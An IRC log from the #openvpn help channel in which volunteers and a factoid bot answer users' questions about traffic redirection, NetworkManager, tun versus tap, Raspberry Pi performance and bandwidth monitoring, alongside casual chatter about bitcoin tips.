01:40 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
01:42 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
01:45 -!- tharkun [~0@unaffiliated/tharkun] has quit [Ping timeout: 245 seconds]
01:45 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
01:46 -!- Guest58929 [~u@89.128.212.175] has joined #openvpn
01:47 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
01:47 <@krzee> oh and that layer2 qos would need to slow the fast link to match the slow one
01:48 <@krzee> at least thats what i figured
01:48 -!- Guest58929 [~u@89.128.212.175] has quit [Client Quit]
01:48 <@krzee> hell, maybe normal qos on the outter link would work
01:51 -!- blendercrazy [~u@89.128.212.175] has joined #openvpn
01:52 < blendercrazy> hello
01:52 < blendercrazy> I already setup my ovpn and works fantastic!
01:53 < blendercrazy> but I had a little problem, lets say I wish use my normal internet, not the one from the vpn, i can do that?
01:54 <@krzee> !redirect
01:54 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
01:54 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
01:54 <@krzee> unless you configure your internet to go over the vpn, it will not
01:54 <@krzee> if you configure it to, then it will
01:55 < blendercrazy> by default on my client will use the normal inet ? Im using the netmanager from linux mint
01:55 <@krzee> !netman
01:55 <@vpnHelper> "netman" is if you are using network manager for linux to configure your vpn, dont! http://openvpn.net/archive/openvpn-users/2008-01/msg00046.html to read the same thing from the author of the openvpn 2 cookbook on the mail list
01:55 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
01:56 <@krzee> make the config by hand, get it working how you want, then if you want network manager just import the config and make sure it doesnt have stuff set to change your config on you
01:56 <@krzee> but first get it working how you want without netman, that way you know your vpn works right
01:57 < blendercrazy> ok, i got it. So bad, was being so easy until now hehehe
01:57 <@krzee> you're just accessing the server securely, or a lan behind the server, right?
01:57 < blendercrazy> yeah, all is setup nice, I acess to my internal lan without problem
01:57 < blendercrazy> behind the server
01:58 <@krzee> nice
01:58 < blendercrazy> all ping, all ok
01:58 <@krzee> good job
01:59 < blendercrazy> but that thing about use absolutely all the vpn for everything not fit me well because i wish take only some ipcams and not much more, and use the normal speed of my inet , because i not need privacy on this net
01:59 < blendercrazy> I will try figure that manually, thanks you
01:59 <@krzee> np
02:01 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
02:02 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
02:02 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Client Quit]
02:07 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
02:07 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
02:08 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has quit [Ping timeout: 265 seconds]
02:10 < blendercrazy> krzee and Gadmin OpenVPN Client  ? its useful ?
02:10 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
02:10 <@krzee> you're in linux, just get it working with commandline
02:10 < blendercrazy> ok! thanks again
02:11 <@krzee> then once it works, you know the vpn is fine
02:11 <@krzee> then you can import that config into network manager if you want
02:11 <@krzee> and if something is wrong after that, you know its network manager and not openvpn
02:15 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has joined #openvpn
02:19 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 245 seconds]
02:23 -!- tharkun [~0@187.188.94.182] has joined #openvpn
02:28 -!- dimm0k_ [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 245 seconds]
02:29 < blendercrazy> aham, mhhh I come back from try to make it via command line, editing client.conf on /etc/openvpn
02:30 -!- dimm0k [~dimm0k@pool-96-246-33-134.nycmny.fios.verizon.net] has joined #openvpn
02:30 -!- dimm0k [~dimm0k@pool-96-246-33-134.nycmny.fios.verizon.net] has quit [Changing host]
02:30 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
02:30 < blendercrazy> I restart the daemon , without error, but now not make the tun0
02:31 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
02:38 -!- FrankMartin [~lx@93.115.84.195] has quit [Ping timeout: 264 seconds]
02:44 < blendercrazy> fixed :P I just watch the log file for solve it
02:49 -!- FrankMartin [~lx@93.115.84.195] has joined #openvpn
02:56 -!- Tera [~tera@ip133-114.seclan.com] has quit [Remote host closed the connection]
02:56 -!- Tera [~tera@ip133-114.seclan.com] has joined #openvpn
03:02 -!- blendercrazy [~u@89.128.212.175] has quit [Ping timeout: 240 seconds]
03:08 -!- u [~u@89.128.212.175] has joined #openvpn
03:08 -!- u is now known as Blendercrazy
03:08 < Blendercrazy> ls
03:08 < Blendercrazy> ok, i come to a conclusion: the form of how the netmanager handles the config is on his own
03:13 -!- szr [~s_r@unaffiliated/szr] has quit [Ping timeout: 246 seconds]
03:14 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:18 -!- blendercrazy1 [~u@89.128.212.175] has joined #openvpn
03:18 -!- FrankMartin [~lx@93.115.84.195] has quit [Remote host closed the connection]
03:29 -!- blendercrazy1 [~u@89.128.212.175] has left #openvpn []
03:31 < stephan48> is there a way to disconnect/reconnect a connection via management?(openvpn is running as client)
03:41 -!- Blendercrazy [~u@89.128.212.175] has quit [Remote host closed the connection]
03:58 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
04:00 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
04:03 -!- xrosnight [~quassel@183.234.77.221] has quit [Remote host closed the connection]
04:30 -!- klein [~klein@177.101.107.113] has joined #openvpn
04:30 -!- klein [~klein@177.101.107.113] has quit [Changing host]
04:30 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
04:45 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 264 seconds]
04:49 -!- lahiru [~lahiru@124.43.85.191] has joined #openvpn
04:49 < lahiru> hello
04:50 < lahiru> i have a requirement to use the same subnet for all user groups in openvpnas
04:51 < lahiru> currently I configured this, but it gives an error: subnet conflict
04:52 < lahiru> But when i save even with that error, i can assign users to groups and works properly
04:52 < lahiru> is their any impact, anything i cant see and not experience?
04:52 < lahiru> please help !
04:53 < MacGyver> !as
04:53 -!- lahiru [~lahiru@124.43.85.191] has quit [Read error: Connection reset by peer]
04:53 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
04:54 -!- Denial [Denial@2.223.161.125] has quit [Ping timeout: 260 seconds]
04:55 -!- Denial [Denial@97e0995b.skybroadband.com] has joined #openvpn
04:55 -!- lahiru [~lahiru@124.43.85.191] has joined #openvpn
04:58 -!- rpluto [~rpluto@197.148.25.190] has joined #openvpn
05:01 -!- rpluto [~rpluto@197.148.25.190] has quit [Client Quit]
05:02 -!- lahiru [~lahiru@124.43.85.191] has quit [Read error: Connection reset by peer]
05:04 -!- lahiru [~lahiru@124.43.85.191] has joined #openvpn
05:06 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
05:06 -!- lahiru [~lahiru@124.43.85.191] has quit [Read error: Connection reset by peer]
05:13 -!- lahiru [~lahiru@124.43.85.191] has joined #openvpn
05:15 -!- lahiru [~lahiru@124.43.85.191] has quit [Read error: Connection reset by peer]
05:17 -!- lahiru [~lahiru@124.43.85.191] has joined #openvpn
05:19 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
05:19 -!- lahiru [~lahiru@124.43.85.191] has quit [Read error: Connection reset by peer]
05:33 -!- Volkswagner [~eric@cpe-24-161-55-139.hvc.res.rr.com] has joined #openvpn
05:35 < Volkswagner> greetings gang!
05:39 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Quit: elfixit]
05:39 -!- lahiru [~lahiru@124.43.85.191] has joined #openvpn
05:41 -!- lahiru [~lahiru@124.43.85.191] has quit [Read error: Connection reset by peer]
05:46 -!- Fohlen [~Fohlen@static.196.152.46.78.clients.your-server.de] has left #openvpn []
05:47 -!- Fohlen [~Fohlen@static.196.152.46.78.clients.your-server.de] has joined #openvpn
05:59 -!- lahiru [~lahiru@124.43.85.191] has joined #openvpn
06:00 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
06:02 -!- lahiru [~lahiru@124.43.85.191] has quit [Read error: Connection reset by peer]
06:10 -!- Volkswagner [~eric@cpe-24-161-55-139.hvc.res.rr.com] has quit [Quit: Leaving]
06:10 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Quit: elfixit]
06:12 -!- lahiru [~lahiru@124.43.85.191] has joined #openvpn
06:13 -!- lahiru [~lahiru@124.43.85.191] has quit [Read error: Connection reset by peer]
06:16 -!- lahiru [~lahiru@124.43.85.191] has joined #openvpn
06:18 -!- lahiru [~lahiru@124.43.85.191] has quit [Read error: Connection reset by peer]
06:19 -!- lahiru [~lahiru@124.43.85.191] has joined #openvpn
06:23 -!- lahiru [~lahiru@124.43.85.191] has quit [Read error: Connection reset by peer]
06:26 -!- lahiru [~lahiru@124.43.85.191] has joined #openvpn
06:42 -!- lahiru [~lahiru@124.43.85.191] has quit [Read error: Connection reset by peer]
06:42 -!- lahiru [~lahiru@124.43.85.191] has joined #openvpn
06:45 -!- markus_ [~markus@mirkk.vpntunnel.com] has quit [Remote host closed the connection]
06:47 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
06:49 -!- lahiru [~lahiru@124.43.85.191] has quit [Read error: Connection reset by peer]
06:50 -!- lahiru [~lahiru@124.43.85.191] has joined #openvpn
07:14 -!- abradley [~adam@64-132-116-2.static.twtelecom.net] has joined #openvpn
07:22 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
07:24 -!- lahiru [~lahiru@124.43.85.191] has quit [Ping timeout: 245 seconds]
07:24 -!- lahiru [~lahiru@124.43.81.124] has joined #openvpn
07:26 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
07:26 -!- lahiru [~lahiru@124.43.81.124] has quit [Read error: Connection reset by peer]
07:27 -!- lahiru [~lahiru@124.43.81.124] has joined #openvpn
07:30 -!- lahiru [~lahiru@124.43.81.124] has quit [Read error: Connection reset by peer]
07:31 -!- lahiru [~lahiru@124.43.81.124] has joined #openvpn
07:38 -!- lahiru [~lahiru@124.43.81.124] has quit [Read error: Connection reset by peer]
07:39 -!- lahiru [~lahiru@124.43.81.124] has joined #openvpn
07:42 -!- lahiru [~lahiru@124.43.81.124] has quit [Read error: Connection reset by peer]
07:43 -!- lahiru [~lahiru@124.43.81.124] has joined #openvpn
08:08 -!- lahiru [~lahiru@124.43.81.124] has quit [Read error: Connection reset by peer]
08:12 -!- dowaat [uid3966@gateway/web/irccloud.com/x-ssuoaqjojquabthf] has quit [Ping timeout: 252 seconds]
08:12 -!- dowaat [uid3966@gateway/web/irccloud.com/session] has joined #openvpn
08:12 -!- dowaat [uid3966@gateway/web/irccloud.com/session] has quit [Changing host]
08:12 -!- dowaat [uid3966@gateway/web/irccloud.com/x-newiknxhesrzsbmg] has joined #openvpn
08:29 -!- wildcat [~tomh@unaffiliated/wildcat] has left #openvpn []
08:32 -!- tharkun [~0@187.188.94.182] has quit [Changing host]
08:32 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
08:50 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Quit: Leaving]
08:56 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 245 seconds]
08:58 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has left #openvpn []
09:10 -!- Bebbzor [~Bebbzor@m5-241-216-243.cust.tele2.se] has joined #openvpn
09:10 < Bebbzor> !welcome
09:10 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
09:10 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
09:14 < Bebbzor> Hi. I have a quick question about VPN in general.. I am new to VPN so I don't understand the whole picture yet. Let's say I have an vpn host at home and I am on the train where I have free wifi (limited to 200mb) - From the train on my computer, connected to the free wifi I connect to the VPN at home.. Will I be able to browse the web/do internet stuff more or less then on the normal wifi? I
09:14 < Bebbzor> mean.. I connect to the vpn and then remote a computer I have at home and I browse the web.. Will it take bandwith from my free wifi or from my VPN host?
09:15 < Bebbzor> Hard to explain it since I dont really understand what I am asking, lol sorry
09:17 < rob0> You can redirect all traffic through a VPN, sure. Your performance doing that on the train might not be very good. In fact, redirection through a home connection is not likely to perform well anywhere.
09:17 < rob0> !redirect
09:17 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
09:17 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
09:17 < Bebbzor> Will it use more bandwith from both free wifi and home internet or more on one or the other..
09:18 < rob0> everything you do on the train would go through both, if you redirected
09:26 -!- Tera [~tera@ip133-114.seclan.com] has quit [Ping timeout: 252 seconds]
09:32 -!- Sembei [~Sembei@unaffiliated/sembei] has joined #openvpn
09:35 -!- Bebbzor [~Bebbzor@m5-241-216-243.cust.tele2.se] has quit [Read error: Connection reset by peer]
09:40 -!- master_o1_master [~master_of@p4FD7BB0E.dip0.t-ipconnect.de] has joined #openvpn
09:42 -!- Tera [~tera@ip133-114.seclan.com] has joined #openvpn
09:44 -!- master_of_master [~master_of@p4FF2446F.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds]
09:46 -!- Tera [~tera@ip133-114.seclan.com] has quit [Remote host closed the connection]
09:48 -!- mikej03 [~mikej03@tsn85-159-236-214.dyn.nltelcom.net] has joined #openvpn
09:50 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 264 seconds]
09:51 -!- takamichi [~takamichi@85.12.8.107] has joined #openvpn
09:55 -!- EmLeX [~emx@unaffiliated/emlex] has quit [Ping timeout: 272 seconds]
09:57 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Quit: ZNC - http://znc.in]
09:57 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
09:58 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has joined #openvpn
10:02 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
10:03 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
10:04 -!- JordiGH [~jordi@octave/developer/JordiGH] has joined #openvpn
10:04 < JordiGH> !welcome
10:04 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
10:04 < JordiGH> !goal
10:04 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
10:04 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
10:05 < JordiGH> I want to use multiple VPN hosts at the same time. I have a server in one country and I want to use Firefox with that server, and I have another server in Germany and I want to use ssh on that other server.
10:05 < JordiGH> I'm using Debian's NetworkManager, which I hope you don't hate.
10:14 -!- sec^nd [~second@gateway/tor-sasl/sec0nd] has joined #openvpn
10:15 -!- Tera [~tera@ip133-114.seclan.com] has joined #openvpn
10:20 -!- Tera [~tera@ip133-114.seclan.com] has quit [Ping timeout: 252 seconds]
10:21 -!- JordiGH [~jordi@octave/developer/JordiGH] has quit [Ping timeout: 240 seconds]
10:21 -!- JordiGH [~jordi@octave/developer/JordiGH] has joined #openvpn
10:21 -!- cherwin_ [~cherwin@80.239.169.201] has joined #openvpn
10:22 < JordiGH> I bet y'all solved my problems while my connection was flaking out. :-)
10:23 < JordiGH> Perhaps I might interest someone in a few centibitcoins?
10:26 <@krzee> but you already solved your question =]
10:26 < JordiGH> No. :-(
10:27 <@krzee> ohh i read that wrong
10:27 <@krzee> 1sec lemme read
10:27 <@krzee> ok so
10:27 <@krzee> openvpn does not route based on protocol
10:27 <@krzee> it routes based on the routing
10:27 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Quit: elfixit]
10:28 <@krzee> however
10:28 <@krzee> !routebyapp
10:28 <@vpnHelper> "routebyapp" is (#1) if you want to send only certain apps over the VPN you need to run a socks server on the internal VPN subnet (see !sockd) then get an app like proxifier (windows, osx) or tsocks (linux, BSD) to selectively route traffic over the socks proxy based on port/app/subnet or any combination. or (#2) Alternatively, read up about Policy Routing to make routing decisions based on defined
10:28 <@vpnHelper> policies you set. For Linux, read about !lartc
10:28 < JordiGH> Yeah, not protocol...
10:28 <@krzee> OR, you can do it in iptables
10:28 <@krzee> (by port)
10:28 < JordiGH> Socks server is great.
10:29 < JordiGH> vpnHelper: What are you?
10:29 <@krzee> !bot
10:29 <@ecrist> he's a bot
10:29 <@vpnHelper> "bot" is I'm a bot.. just a bot. krzee and ecrist are my maintainers, and I haven't said anything, if you'd notice, the person who spoke just before me gave a !command to make me speak :P
10:29 < JordiGH> supybots respond to that query.
10:29 <@krzee> !version
10:29 <@vpnHelper> The current (running) version of this Supybot is 0.83.4.1.  The newest version available online is 0.83.4.1.
10:29 <@krzee> not all of them ;]
10:29  * JordiGH thinks there needs to be a chatbot RFC that spells out the Three Laws of Chatbotics.
10:30 < JordiGH> Anyways, thanks, I'll take it private with the bot, I think this is all I need.
10:30 <@krzee> !msg
10:30 <@vpnHelper> "msg" is (#1) to see vpnHelper's factoids in msg instead of the channel, /msg vpnHelper factoids whatis #openvpn <key> or (#2) so to see !configs in msg, you would type /msg vpnHelper factoids whatis #openvpn configs
10:30 <@ecrist> !factoids
10:30 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
10:30 <@ecrist> JordiGH: look at that link
10:30 <@ecrist> all of the factoids are there
10:30 <@krzee> !learn msg as you can also just see !factoids for a full list of what the bot knows
10:30 <@vpnHelper> Joo got it.
10:30 <@krzee> !forget msg 2
10:30 <@vpnHelper> Joo got it.
10:30 <@krzee> damn, oops
10:30 <@krzee> !forget msg 2
10:30 <@vpnHelper> Joo got it.
10:31 <@krzee> !learn msg as so to see !configs in msg, you would type /msg vpnHelper factoids whatis #openvpn configs
10:31 <@vpnHelper> Joo got it.
10:31 <@krzee> !learn msg as you can also just see !factoids for a link to the full list of what the bot knows
10:31 <@vpnHelper> Joo got it.
10:32 -!- cherwin_ [~cherwin@80.239.169.201] has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
10:33 < JordiGH> krzee: So, can I send a few thank-you Satoshis?
10:35 < JordiGH> I guess nobody's into busking around here...
10:36 -!- lahiru [~lahiru@103.247.50.138] has joined #openvpn
10:38 -!- lahiru [~lahiru@103.247.50.138] has quit [Client Quit]
10:41 -!- u0m3_ is now known as u0m3
10:43 -!- Tera [~tera@ip133-114.seclan.com] has joined #openvpn
10:44 -!- takamichi [~takamichi@85.12.8.107] has quit [Ping timeout: 252 seconds]
10:45 <@EugeneKay> The fuck is a Satoshi
10:45 < JordiGH> EugeneKay: Like pennies to a dollar, satoshis are to bitcoins.
10:46 <@EugeneKay> Ah
10:47 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
10:49 <@ecrist> we don't use fake currency around these parts
10:49 < JordiGH> *shrug* I bought my VPN account with fake currency, so works for me.
10:50 <@ecrist> :)
10:51 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:51 -!- Tera [~tera@ip133-114.seclan.com] has quit [Ping timeout: 250 seconds]
10:52 <@EugeneKay> Donate it to the EFF or something ;-)
10:52 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
10:52 < JordiGH> Well, I kinda wanna encourage busking in IRC. That's how I got my bitcoins, by tutoring in ##math.
10:53 <@EugeneKay> !refund
10:53 <@vpnHelper> "refund" is If you are not satisfied with the GPL openvpn, or the support provided by the volunteers of #openvpn, you are entitled to a full refund of the purchase price and are invited to use another VPN solution. Elsewhere.
10:53 <@EugeneKay> We don't take money :v
10:53 < JordiGH> So far, I've bought a treeware book, Reddit gold, and a VPN account with the coins that I got.
10:58 -!- sec^nd [~second@gateway/tor-sasl/sec0nd] has quit [Ping timeout: 240 seconds]
11:03 <@ecrist> !donate
11:03 <@vpnHelper> "donate" is (#1) send monetary donations to openvpn@secure-computing.net via paypal. All money donated goes to staff toward development of the community wiki, forum, and this IRC channel. or (#2) Contributions to this address do *NOT* directly benefit OpenVPN Technologies, Inc. or (#3) http://www.secure-computing.net/wiki/index.php/OpenVPN/Donations for Contribution totals and benefactors
11:03 < JordiGH> No, no paypal.
11:03 < JordiGH> I refuse to touch that.
11:04 <@ecrist> *shrug*
11:04 < JordiGH> They're abusive and fickle.
11:11 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 252 seconds]
11:13 -!- sec^nd [~second@gateway/tor-sasl/sec0nd] has joined #openvpn
11:13 -!- cherwin_ [~cherwin@80.239.169.203] has joined #openvpn
11:16 -!- suprsonic [~suprsonic@services.landonsanderson.com] has joined #openvpn
11:17 -!- cherwin_ [~cherwin@80.239.169.203] has quit [Ping timeout: 245 seconds]
11:21 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Quit: Ping timeout: 221 seconds]
11:29 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Ping timeout: 246 seconds]
11:31 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
11:40 -!- JordiGH [~jordi@octave/developer/JordiGH] has quit [Ping timeout: 245 seconds]
11:44 -!- Nikon_m [~nikonm@184.151.61.213] has joined #openvpn
11:44 < Nikon_m> Hi there
11:45 < Nikon_m> So, which routing method do I want for a virtual LAN network? Something that allows broadcasts over the VPN?
11:47 -!- mode/#openvpn [+v pekster] by ChanServ
11:47 <+pekster> Broadcast/multicast requires tap: see !tunortap for more info
11:47 <+pekster> Normally you want to avoid an L2 VPN, but if broadcasts are part of your requirements, you can't
11:48 < Nikon_m> pekster: Basically, I'm setting up a massive remote LAN game....
11:48 < Nikon_m> I know it seems stupid for something like this
11:53 -!- EmLeX [~emx@unaffiliated/emlex] has joined #openvpn
11:57 < Nikon_m> pekster: TUN wont work for that right?
11:57 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
11:58 <+pekster> Not if you require broadcast/multicast (things normally addressed to be flooded to the link at MAC FF:FF:FF:FF:FF:FF)
11:58 <+pekster> tun is OSI L3, aka the IP layer; there's no concept of a broadcast there, and multicast also relies on the ability to flood to the L2 link (though multicast routing daemons can further route this across an established routing domain)
11:58 < Nikon_m> Well, for this I think it can run straight thru ip
11:59 <+pekster> If you don't need broadcasts, yes
11:59 < Nikon_m> Because the link we have is designed to run on the open web
11:59 < Nikon_m> So TUN should work?
12:00 <+pekster> Yup, by definition the public Intenret is unicast (or clever imitations, like anycast, which to a client looks justl like unicast)
12:01 <+pekster> There's limited-scope multicast, but it's not globally usable; someone on the other side of the planet can't just join a multicast group with me and expect it to work
12:01 < Nikon_m> Also, this supplies a network adapter right? So every pc is assigned an IP Address?
12:01 <+pekster> Yup
12:01 <+pekster> Start with the !howto and get a basic network up and running to play with
12:02 < Nikon_m> Awesome!
12:03 < Nikon_m> Now, one last thing, the server, can it run on a raspi?
12:03 <+pekster> Shouldn't be a problem, although the CPU on those things leaves something to be desired
12:04 < Nikon_m> Like what are the minimum requirement?
12:04 <+pekster> !factoids search CPU
12:04 <@vpnHelper> No keys matched that query.
12:04 <+pekster> Depends on how much data you're pushing
12:05 <+pekster> At idle, practically nothing outside of the TLS handshake (occurs on connect and on re-key, which happens hourly by default, per client)
12:05 <+pekster> Your limit on the rPi will probably be the CPU; Try It And See™ what you get
12:05 -!- novaflash is now known as novaflash_away
12:07 <+pekster> !learn bottleneck as OpenVPN uses userland crypto unless you have HW accel available (as shown with `openvpn --show-engines`.) This means the CPU is frequently the performance bottleneck; remember that OVPN is single-threaded
12:07 <@vpnHelper> Joo got it.
12:07 <+pekster> !learn bottleneck as See also: !gigabit for ideas on advanced performance tuning options
12:07 <@vpnHelper> Joo got it.
12:08 -!- novaflash_away is now known as novaflash
12:08 <+pekster> !learn cpu as [bottleneck]
12:08 <@vpnHelper> Joo got it.
12:10 < Nikon_m> So
12:10 < Nikon_m> Can I disable encryption?
12:10 < Nikon_m> Less work and stuff
12:11 <+pekster> Read about --auth and --cipher in the manpage
12:11 <@krzee> !noenc
12:11 <@vpnHelper> "noenc" is (#1) if you're going to disable encryption, you might as well build a GRE tunnel or (#2) but you would use cipher none
12:12 <+pekster> !learn noenc as Reference --cipher in the manpage (--auth may also be useful to review)
12:12 <@vpnHelper> Joo got it.
12:12 < Nikon_m> Gre tunnel?
12:12 < Nikon_m> !factoid GRE
12:12 <+pekster> GRE won't really do what you want here with many clients to a single server
12:13 < Nikon_m> Hmmm
12:13 <+pekster> Start with wikipedia or google if want to know how GRE works; it's a "plain and stupid" tunneling method, basically
12:13 < Nikon_m> Heh
12:14 < Nikon_m> Well, would high client compression decrease server load?
12:15 <+pekster> compression is a tradeoff to get smaller packets at the cost of CPU; its benefit depends a lot on the data you're sending, CPU saturation, and bandwidth available
12:16 <+pekster> Another Try It And See™ moment. On low-CPU devices it's almost always a bad idea, but YMMV
12:16 < Nikon_m> pekster: We aren't doing Fps or anything, it's turn based strategy
12:16 < Nikon_m> The packets are small and far apart
12:17 <+pekster> I'm not at your equipment, testing to see what the results are. You are; follow the obvious conclusion and play with your choices
12:17 < Nikon_m> Ahh
12:18 < Nikon_m> Well, at the moment I have 0 equipment, this is me planing ahead XD at the moment I'm using a hamachi mesh
12:20 <+pekster> Then determine if the rPi meets your needs. If it does, play with it and see. I assume you've already thought to do this (if not, now would be a good time.) https://lmddgtfy.net/?q=openvpn%20raspberry%20pi
12:20 <@vpnHelper> Title: Let Me DuckDuckGo That For You (at lmddgtfy.net)
12:22 < Nikon_m> There's a let me duck duck go eh?
12:22 < Nikon_m> XD
12:34 -!- Chrisje [chris@2a03:f80:ed15:ed15:ed15:ed15:bc4c:4bfe] has quit [Ping timeout: 246 seconds]
12:43 -!- Chrisje [chris@2a03:f80:ed15:ed15:ed15:ed15:bc4c:4bfe] has joined #openvpn
12:44 -!- Nikon_m [~nikonm@184.151.61.213] has quit [Quit: Nikon_m]
12:46 -!- JordiGH [~jordi@octave/developer/JordiGH] has joined #openvpn
12:55 -!- Tera [~tera@ip133-114.seclan.com] has joined #openvpn
12:57 -!- Nikon_m [~nikonm@184.151.61.213] has joined #openvpn
13:03 -!- JordiGH [~jordi@octave/developer/JordiGH] has left #openvpn ["Leaving"]
13:05 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
13:12 -!- Nikon_m [~nikonm@184.151.61.213] has quit [Quit: Nikon_m]
13:12 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
13:19 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:33 -!- Nikon_m [~nikonm@184.151.61.213] has joined #openvpn
13:43 -!- Nikon_m [~nikonm@184.151.61.213] has quit [Quit: Nikon_m]
13:52 -!- acu [~acu@24-159-215-150.static.roch.mn.charter.com] has joined #openvpn
14:03 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 264 seconds]
14:09 -!- keithzg [~quassel@184.70.164.246] has joined #openvpn
14:16 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 240 seconds]
14:25 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Remote host closed the connection]
14:33 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
14:34 < calcifea> hey, there is any way to know how much bandwidth openvpn waste to work?
14:36 < Fohlen> you can use monitoring tools, such as munin
14:39 <+pekster> You also get per-user bytecounters in both the status file and as output with SIGUSR2. I have some on-disconnect logging tools that demonstrate how to record this info on disocnnect too: https://github.com/QueuingKoala/openvpn-dynamic
14:39 <@vpnHelper> Title: QueuingKoala/openvpn-dynamic · GitHub (at github.com)
14:41 < Fohlen> calcifea, also this will depend on your client and server ... if your client has more bandwith it will likely use more bandwith :D
14:42 < Fohlen> so I dont particulary get the sense of your question
14:42 < Fohlen> if it is a matter, you can limit the traffic to be max ~~
14:43 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
